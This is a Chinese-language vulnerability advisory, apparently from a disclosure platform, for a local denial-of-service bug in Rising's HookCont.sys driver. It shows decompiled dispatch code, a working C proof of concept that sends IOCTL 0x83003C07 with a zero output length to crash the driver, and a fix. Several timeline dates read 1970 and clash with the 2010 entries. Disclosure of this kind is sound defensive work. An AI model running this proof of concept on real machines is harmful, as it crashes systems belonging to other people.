漏洞详情
披露状态:
2010-07-27: 细节已通知厂商并且等待厂商处理中
1970-01-01: 厂商已经确认,细节仅向厂商公开
1970-01-04: 细节向第三方安全合作伙伴开放
1970-02-25: 细节向核心白帽子及相关领域专家公开
1970-03-07: 细节向普通白帽子公开
1970-03-17: 细节向实习白帽子公开
2010-08-26: 细节向公众公开
简要描述:
瑞星 HookCont.sys <= 24.0.0.5 驱动程序派遣例程中,对IoControlCode为0x83003C07的处理中,对UserBuffer检查中,使用ProbeForWrite函数不当造成本地拒绝服务漏洞。
详细说明:
void __stdcall DriverDispatch(struct _DEVICE_OBJECT *a1, PIRP Irp)
{
PIRP v2; // edx@2
PVOID UserBuffer; // edi@4
unsigned int IoControlCode; // esi@4
struct _IRP::$::$::$::$A02EC6A2CE86544F716F4825015773AC::_IO_STACK_LOCATION *pIrpStack; // esi@4
SIZE_T OutputBufferLength; // ST18_4@4
int v7; // eax@25
HANDLE *Type3InputBuffer; // [sp+10h] [bp-24h]@4
SIZE_T InputBufferLength; // [sp+14h] [bp-20h]@4
if ( a1 == dword_115AC ) // hookmail
{
v2 = Irp;
++v2->CurrentLocation;
v2->Tail.Overlay.CurrentStackLocation = (struct _IRP::$::$::$::$A02EC6A2CE86544F716F4825015773AC::_IO_STACK_LOCATION *)((char *)v2->Tail.Overlay.CurrentStackLocation + 36);
IofCallDriver(DeviceObject, Irp);
JUMPOUT(*(unsigned int *)loc_10F11);
}
pIrpStack = Irp->Tail.Overlay.CurrentStackLocation;
Type3InputBuffer = (HANDLE *)*((_DWORD *)pIrpStack + 4);
UserBuffer = Irp->UserBuffer;
InputBufferLength = *((_DWORD *)pIrpStack + 2);
OutputBufferLength = *((_DWORD *)pIrpStack + 1);
JUMPOUT((unsigned int)UserBuffer, (unsigned int)MmUserProbeAddress, *(unsigned int *)loc_10EF2);
JUMPOUT(
(unsigned int)((char *)UserBuffer + *((_DWORD *)pIrpStack + 1)),
(unsigned int)MmUserProbeAddress,
*(unsigned int *)loc_10EF2);
ProbeForRead(*((const void **)pIrpStack + 4), InputBufferLength, 1u);
ProbeForWrite(UserBuffer, OutputBufferLength, 1u);
IoControlCode = *((_DWORD *)pIrpStack + 3);
if ( IoControlCode == 0x83003C07 )
{
if ( !*((_BYTE *)P + 11004) )
{
if ( InputBufferLength >= 4 )
{
v7 = sub_105AA(P, *Type3InputBuffer);
if ( v7 )
{
*(_DWORD *)UserBuffer = v7;
Irp->IoStatus.Information = 4;
}
*((_BYTE *)P + 11005) = 0;
JUMPOUT(*(unsigned int *)loc_10EF9);
}
}
}
//省略部分代码。。。
从瑞星的DriverDispatch处理,可以看出其对UserBuffer虽然做了严格的MmUserProbeAddress比较检查,也做了ProbeForWrite探测,但是使用ProbeForWrite函数不当!因为处理过程中相信了用户输入的OutputBufferLength,那么只要用户输入的OutputBufferLength为0,就可以躲过ProbeForWrite检查。
最终在 *(_DWORD *)UserBuffer = v7; 这句中发生了内存访问错误,导致拒绝服务。
漏洞证明:
void Test()
{
DWORD dw;
HANDLE hDevice;
DWORD InputBuffer[64]={0};
DWORD outputBuffer[64]={0};
char * deviceName="\\\\.\\HookCont";
DWORD ioControlCode=0x83003C07;
//得到设备指针
hDevice=CreateFile(deviceName,GENERIC_READ|GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_SYSTEM,0);
if(hDevice==INVALID_HANDLE_VALUE)
{
displayError("打开设备出错!");
return ;
}
MyOutputDebugString("CreateFile %s ok! hDevice=%08X\n",deviceName,hDevice);
//准备数据
InputBuffer[0]=(DWORD)hDevice; //给一个句柄即可
//出发漏洞
if(!DeviceIoControl(hDevice,
ioControlCode,
InputBuffer ,
4,
(PVOID)(0x7fff0000),
0,
&dw,0))
{
displayError("DeviceIoControl failed!");
}
//关闭设备句柄
CloseHandle(hDevice);
}
修复方案:
建议瑞星驱动中不要相信用户输入的OutputBufferLength,而使用自己需要写入的长度作为ProbeForWrite的第二个参数(即长度)。本驱动中,应该是sizeof(DWORD).